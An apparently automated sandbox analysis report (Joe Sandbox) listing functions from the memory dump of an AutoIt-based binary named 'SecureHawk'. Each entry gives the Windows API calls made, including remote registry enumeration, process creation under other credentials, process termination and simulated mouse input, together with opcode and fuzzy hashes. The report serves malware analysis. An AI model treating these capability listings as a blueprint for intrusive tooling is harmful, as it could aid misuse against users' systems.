Instruction ID: b07309b1e427ceb559f8a16f9e008674defc8e30bfef604fa324d2b894b4c4f4
Opcode Fuzzy Hash: 340957853b3c3171cca4beac8282df536099dc876b62d2c6f9ea26667f41c8ed
Instruction Fuzzy Hash: B661DF3051025E9BCF16EF60CC82EFE77A8AF08308F448519FD596B1A2DB74A95ACB50

Function 0037060C Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 00371242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003701D5,?,?), ref: 00371259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003706E5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00370725
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00370748
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00370771
RegCloseKey.ADVAPI32(?,?,00000000), ref: 003707B4
RegCloseKey.ADVAPI32(00000000), ref: 003707C1

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 7dd0c9fadfebcb45c41670d0696fa94f77abaf7146d65d3466a5d59b3c530c87
Instruction ID: 36b166a7475252639de1d71c5aea2a3872e457a673eb0dbb41618a23a8bc08e5
Opcode Fuzzy Hash: 7dd0c9fadfebcb45c41670d0696fa94f77abaf7146d65d3466a5d59b3c530c87
Instruction Fuzzy Hash: 47518B71108344EFC72AEB64C895E6BB7E8FF84314F00891DF5998B2A1DB31E905CB92

Function 00375B9E Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00375C00
GetMenuItemCount.USER32(00000000), ref: 00375C37
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00375C5F
GetMenuItemID.USER32(?,?), ref: 00375CCE
GetSubMenu.USER32(?,?), ref: 00375CDC
PostMessageW.USER32(?,00000111,?,00000000), ref: 00375D2D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 406d4df62a7888f97969d52946192ffff1901ef49a3353277ffe1b0a203a9e22
Instruction ID: 3c1a7a2b8e8b000c167c8881470895cdeea737608f468d6915cde0ab5e13e095
Opcode Fuzzy Hash: 406d4df62a7888f97969d52946192ffff1901ef49a3353277ffe1b0a203a9e22
Instruction Fuzzy Hash: C7518575E00619AFCF2AEF94C845AAEB7B4EF48310F118099E905BB351C7B4AE41CF90

Function 0034F46B Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0034F485
VariantClear.OLEAUT32(00000013), ref: 0034F4F7
VariantClear.OLEAUT32(00000000), ref: 0034F552
_memmove.LIBCMT ref: 0034F57C
VariantClear.OLEAUT32(?), ref: 0034F5C9
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0034F5F7

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 3eb9a116d3b636c5e183fb009247a655a8c27190dbca13e066a8341c14f2943e
Instruction ID: c32f73c20f07250687244009d42fc5cf064c4adb10a33a43453d822c297f9eca
Opcode Fuzzy Hash: 3eb9a116d3b636c5e183fb009247a655a8c27190dbca13e066a8341c14f2943e
Instruction Fuzzy Hash: 885138B5A00209AFDB15CF58C884AAAB7F8FF4D314F1585AAE959DB300D730E955CFA0

Function 0035281D Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0035286B
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003528B6
IsMenu.USER32(00000000), ref: 003528D6
CreatePopupMenu.USER32 ref: 0035290A
GetMenuItemCount.USER32(000000FF), ref: 00352968
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00352999

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 1e005cb708528ab13d2bfcf7f3125bc86a57607f038d2fb68058ed7566c2952a
Instruction ID: 809d045fbcae575decfbeeab3b6a729fbd5456cde1a9f8f967e0cc35ec26c99c
Opcode Fuzzy Hash: 1e005cb708528ab13d2bfcf7f3125bc86a57607f038d2fb68058ed7566c2952a
Instruction Fuzzy Hash: 8E519C7060420ADBDF26CF68C888FAFBBF8AF46315F144559EC519B3A0D3709958CB61

Function 002F1B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 002F1B76
GetWindowRect.USER32(?,?), ref: 002F1BDA
ScreenToClient.USER32(?,?), ref: 002F1BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 002F1C08
EndPaint.USER32(?,?), ref: 002F1C52

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: dda0fea8ee930af0349da7cfc8c4ae718302240667f0ca560ae6609978ddc581
Instruction ID: b1c837ffb4f168f691113d5ffea3ee0eb53a445b803923f0548b64aee6ed3b24
Opcode Fuzzy Hash: dda0fea8ee930af0349da7cfc8c4ae718302240667f0ca560ae6609978ddc581
Instruction Fuzzy Hash: 8041EF30110308DFD712DF24DC85FBABBE8FB59764F140669FA94872A2C7309824DB62

Function 0037BA8B Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(003B67B0,00000000,01235888,?,?,003B67B0,?,0037B995,?,?), ref: 0037BAFF
EnableWindow.USER32(?,00000000), ref: 0037BB23
ShowWindow.USER32(003B67B0,00000000,01235888,?,?,003B67B0,?,0037B995,?,?), ref: 0037BB83
ShowWindow.USER32(?,00000004,?,0037B995,?,?), ref: 0037BB95
EnableWindow.USER32(?,00000001), ref: 0037BBB9
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0037BBDC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 244660ae7c6c8406d1ec2236b68a463d0ce615f8a80954cc1dc4d35fd31e5251
Instruction ID: 2e39bbd489d1102bca6fa4ee85958e42eeed75e4a900a822597801100c146026
Opcode Fuzzy Hash: 244660ae7c6c8406d1ec2236b68a463d0ce615f8a80954cc1dc4d35fd31e5251
Instruction Fuzzy Hash: 6F411A34600244AFDB26CF24C889BA5BBF1FB05314F1981A9FD9C8F2A6C775A845CB91

Function 0036754D Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,003652F1,?,?,00000000,00000001), ref: 0036755B

Part of subcall function 00363E50: GetWindowRect.USER32(?,?), ref: 00363E63

GetDesktopWindow.USER32 ref: 00367585
GetWindowRect.USER32(00000000), ref: 0036758C
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 003675BE

Part of subcall function 0035566C: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003556E4

GetCursorPos.USER32(?), ref: 003675EA
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00367648

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 3735889b9168ee8210ad23a7315bba0d28c93b9c21c8e2aa56ef522528fbada9
Instruction ID: 3e1ba9eae4da36109e9b62e6e3c1b25e5b2c3f99f5e319c004e7ca5a0547b307
Opcode Fuzzy Hash: 3735889b9168ee8210ad23a7315bba0d28c93b9c21c8e2aa56ef522528fbada9
Instruction Fuzzy Hash: 1931D072109305ABD725DF14C849E9BBBA9FF89318F004919F98997191DB30EA08CB96

Function 00349214 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00348AAA: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00348AC1
Part of subcall function 00348AAA: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00348ACB
Part of subcall function 00348AAA: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00348ADA
Part of subcall function 00348AAA: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00348AE1
Part of subcall function 00348AAA: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00348AF7

GetLengthSid.ADVAPI32(?,00000000,00348E30), ref: 00349265
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00349271
HeapAlloc.KERNEL32(00000000), ref: 00349278
CopySid.ADVAPI32(00000000,00000000,?), ref: 00349291
GetProcessHeap.KERNEL32(00000000,00000000,00348E30), ref: 003492A5
HeapFree.KERNEL32(00000000), ref: 003492AC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 3bb8650c04134669564ee194ab48e8798a8e0fee75d00bbb44e4795aaae81702
Instruction ID: 88cbf83a99877609335bb70a6b4f272a7ff6f22551078a91f4e720490df6142a
Opcode Fuzzy Hash: 3bb8650c04134669564ee194ab48e8798a8e0fee75d00bbb44e4795aaae81702
Instruction Fuzzy Hash: 9D11A972600308FFDB569FA4CC09FAF7BACEB44325F10885AF845AB210C772A944DB60

Function 00348FB2 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00348FE3
OpenProcessToken.ADVAPI32(00000000), ref: 00348FEA
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00348FF9
CloseHandle.KERNEL32(00000004), ref: 00349004
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00349033
DestroyEnvironmentBlock.USERENV(00000000), ref: 00349047

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: c54a4c9ac77dd2ba2124fd81fba49103f7eb4412bdc6220a1ddaf5698823c14c
Instruction ID: d21e8e765a62aed9f42683893a9056dad3a94609ce9804f8136f104ef80db2c9
Opcode Fuzzy Hash: c54a4c9ac77dd2ba2124fd81fba49103f7eb4412bdc6220a1ddaf5698823c14c
Instruction Fuzzy Hash: 4F115972501249EBDF528FA8ED49FDE7BADEF08304F054055FE04A6160C376AE68EB60

Function 0034C10C Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0034C131
GetDeviceCaps.GDI32(00000000,00000058), ref: 0034C142
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0034C149
ReleaseDC.USER32(00000000,00000000), ref: 0034C151
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0034C168
MulDiv.KERNEL32(000009EC,?,?), ref: 0034C17A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: bae3ee7a1d593f127789d2c6bfe349cf4d98724edb9a1802e6628ade2de017d1
Instruction ID: 1cb0ccfdbc5f77c5e61e598bee0cd1e705af60ca9cd8bed7e5c21d68ddd16018
Opcode Fuzzy Hash: bae3ee7a1d593f127789d2c6bfe349cf4d98724edb9a1802e6628ade2de017d1
Instruction Fuzzy Hash: 40018475E40308BBEB519BA59C49A5EBFFCEF48351F0040A5FA04AB281D6349D10CFA0

Function 0037C2CD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 002F16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002F1729
Part of subcall function 002F16CF: SelectObject.GDI32(?,00000000), ref: 002F1738
Part of subcall function 002F16CF: BeginPath.GDI32(?), ref: 002F174F
Part of subcall function 002F16CF: SelectObject.GDI32(?,00000000), ref: 002F1778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0037C2F7
LineTo.GDI32(00000000,00000003,?), ref: 0037C30B
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0037C319
LineTo.GDI32(00000000,00000000,?), ref: 0037C329
EndPath.GDI32(00000000), ref: 0037C339
StrokePath.GDI32(00000000), ref: 0037C349

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: c07fb6e2f7ed2fea1c5aea6fa87d6c05650a2d579cb2740a080504a2cb8bdc2e
Instruction ID: 2cd3013febbc4f4b6016789ec8eea4e826c81d7b51bc57c7d5f5da78f41822f9
Opcode Fuzzy Hash: c07fb6e2f7ed2fea1c5aea6fa87d6c05650a2d579cb2740a080504a2cb8bdc2e
Instruction Fuzzy Hash: CE111E7600020CBFEF129F95DC88FEA7F6DEF08354F048055BA189A161C7719D59DBA0

Function 003106E6 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00310717
MapVirtualKeyW.USER32(00000010,00000000), ref: 0031071F
MapVirtualKeyW.USER32(000000A0,00000000), ref: 0031072A
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00310735
MapVirtualKeyW.USER32(00000011,00000000), ref: 0031073D
MapVirtualKeyW.USER32(00000012,00000000), ref: 00310745

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 9e47e8fd27201b1aa6f0b673f1020c9be0e62721931994082adf0c82aee4957c
Instruction ID: 5277f520a1beb2a0edea73a7fe70831c7ef5d0487f34208cc466052168e89d84
Opcode Fuzzy Hash: 9e47e8fd27201b1aa6f0b673f1020c9be0e62721931994082adf0c82aee4957c
Instruction Fuzzy Hash: A0016CB09017597DE3008F5A8C85B52FFA8FF59354F00415BA15C47941C7F5A868CBE5

Function 00355811 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00355821
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00355837
GetWindowThreadProcessId.USER32(?,?), ref: 00355846
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00355855
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0035585F
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00355866

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: aca4f0314b32d89bd322f049ceee6154a2f4b8765154564a0ddd9bcebb80e5d2
Instruction ID: e3186b0990aec8c7e7d4dd3ef672689157f610bb70d296336814846ff05c708c
Opcode Fuzzy Hash: aca4f0314b32d89bd322f049ceee6154a2f4b8765154564a0ddd9bcebb80e5d2
Instruction Fuzzy Hash: 43F03036241258BBE7665B929C0DEEF7B7CEFC6B21F000199FA0491050E7A01A1587B5

Function 00357658 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 0035766B
EnterCriticalSection.KERNEL32(?,?,002FC2B6,?,?), ref: 0035767C
TerminateThread.KERNEL32(00000000,000001F6,?,002FC2B6,?,?), ref: 00357689
WaitForSingleObject.KERNEL32(00000000,000003E8,?,002FC2B6,?,?), ref: 00357696

Part of subcall function 0035705D: CloseHandle.KERNEL32(00000000,?,003576A3,?,002FC2B6,?,?), ref: 00357067

InterlockedExchange.KERNEL32(?,000001F6), ref: 003576A9
LeaveCriticalSection.KERNEL32(?,?,002FC2B6,?,?), ref: 003576B0

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: b2c1ee6cfeaa38cb4e81bb44ff88dd812bc15c29a57b3d4488f4f4d2069bbba5
Instruction ID: 08a146b7fba4c47aefd93c1db501b13513c7bc484ae8ea2183d756287f8bcd13
Opcode Fuzzy Hash: b2c1ee6cfeaa38cb4e81bb44ff88dd812bc15c29a57b3d4488f4f4d2069bbba5
Instruction Fuzzy Hash: 95F05E36145711ABD7572B64EC8CDAF777DFF45312F150862F602950B0CBB55809CB60

Function 0034932D Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00349338
UnloadUserProfile.USERENV(?,?), ref: 00349344
CloseHandle.KERNEL32(?), ref: 0034934D
CloseHandle.KERNEL32(?), ref: 00349355
GetProcessHeap.KERNEL32(00000000,?), ref: 0034935E
HeapFree.KERNEL32(00000000), ref: 00349365

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 71a4147cfbb9b400796517beecc4a0208771e2a0823b40875610ca47cdd95c8c
Instruction ID: c12abac6f86d6768a135c6d162cd45fd8c5db1f2fd0b21e2d6a63f1b01998d1f
Opcode Fuzzy Hash: 71a4147cfbb9b400796517beecc4a0208771e2a0823b40875610ca47cdd95c8c
Instruction Fuzzy Hash: CEE0E53A004301BBDB861FE1EC0C95ABF3DFF49722F104260F22581074CB72A468DB50

Function 00368A9F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00368AC5
CharUpperBuffW.USER32(?,?), ref: 00368BD4
VariantClear.OLEAUT32(?), ref: 00368D4C

Part of subcall function 0035798A: VariantInit.OLEAUT32(00000000), ref: 003579CA
Part of subcall function 0035798A: VariantCopy.OLEAUT32(00000000,?), ref: 003579D3
Part of subcall function 0035798A: VariantClear.OLEAUT32(00000000), ref: 003579DF

Strings

AUTOIT.ERROR, xrefs: 00368BDA
Incorrect Parameter format, xrefs: 00368AFD, 00368CBF

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
